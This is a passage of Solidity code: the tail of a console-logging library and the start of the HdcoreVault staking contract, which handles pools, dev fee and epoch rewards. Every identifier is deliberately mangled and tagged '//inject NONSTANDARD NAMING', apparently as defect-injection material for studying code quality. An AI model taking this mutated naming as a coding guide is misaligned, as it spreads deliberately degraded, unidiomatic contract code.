function LOG714(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// HDCore Vault distributes fees equally amongst staked pools
// Have fun reading it. Hopefully it's bug-free. God bless.
contract HdcoreVault is OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of HdCOREs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws tokens to a pool. Here's what happens:
// 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block.
uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below.
bool withdrawable; // Is this pool withdrawable?
mapping(address => mapping(address => uint256)) allowance;
}
// The HDCORE TOKEN!
INBUNIERC20 public hdcore;
// Dev address.
address public devaddr;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
uint256 public pendingRewards;
uint256 public contractStartBlock;
uint256 public epochCalculationStartBlock;
uint256 public cumulativeRewardsSinceStart;
uint256 public rewardsInThisEpoch;
uint public epoch;
// Returns fees generated since start of this contract
function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING
averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock));
}
// Returns averge fees in this epoch
function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING
averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock));
}
// For easy graphing historical epoch rewards
mapping(uint => uint256) public epochRewards;
//Starts a new calculation epoch
// Because averge since start will not be accurate
function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING
require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week
epochRewards[epoch] = rewardsInThisEpoch;
cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch);
rewardsInThisEpoch = 0;
epochCalculationStartBlock = block.number;
++epoch;
}
event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING
event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING
event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING
address indexed user,
uint256 indexed pid,
uint256 amount
);
event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING
function INITIALIZE896( //inject NONSTANDARD NAMING
INBUNIERC20 _hdcore
) public INITIALIZER933 {
OwnableUpgradeSafe.__OWNABLE_INIT503();
DEV_FEE = 724;
hdcore = _hdcore;
devaddr = msg.sender;
contractStartBlock = block.number;
_superAdmin = msg.sender;
}
function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING
return poolInfo.length;
}
// Add a new token pool. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function ADD659( //inject NONSTANDARD NAMING
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
bool _withdrawable
) public ONLYOWNER691 {
if (_withUpdate) {
MASSUPDATEPOOLS941();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token,"Error pool already added");
}
totalAllocPoint = totalAllocPoint.ADD659(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accHdcorePerShare: 0,
withdrawable : _withdrawable
})
);
}
// Update the given pool's HDCOREs allocation point. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function SET408( //inject NONSTANDARD NAMING
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public ONLYOWNER691 {
if (_withUpdate) {
MASSUPDATEPOOLS941();
}
totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Update the given pool's ability to withdraw tokens
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING
uint256 _pid,
bool _withdrawable
) public ONLYOWNER691 {
poolInfo[_pid].withdrawable = _withdrawable;
}
// Sets the dev fee for this contract
// defaults at 7.24%
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
uint16 DEV_FEE;
function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING
require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%');
DEV_FEE = _DEV_FEE;
}
uint256 pending_DEV_rewards;
// View function to see pending HDCOREs on frontend.
function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accHdcorePerShare = pool.accHdcorePerShare;
return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING
console.LOG714("Mass Updating Pools");
uint256 length = poolInfo.length;
uint allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.ADD659(UPDATEPOOL374(pid));
}
pendingRewards = pendingRewards.SUB877(allRewards);
}
// ----
// Function that adds pending rewards, called by the HDCORE token.
// ----
uint256 private hdcoreBalance;
function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING
uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance);
if(newRewards > 0) {
hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change
pendingRewards = pendingRewards.ADD659(newRewards);
rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards);
}
}
// Update reward variables of the given pool to be up-to-date.
function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.BALANCEOF536(address(this));
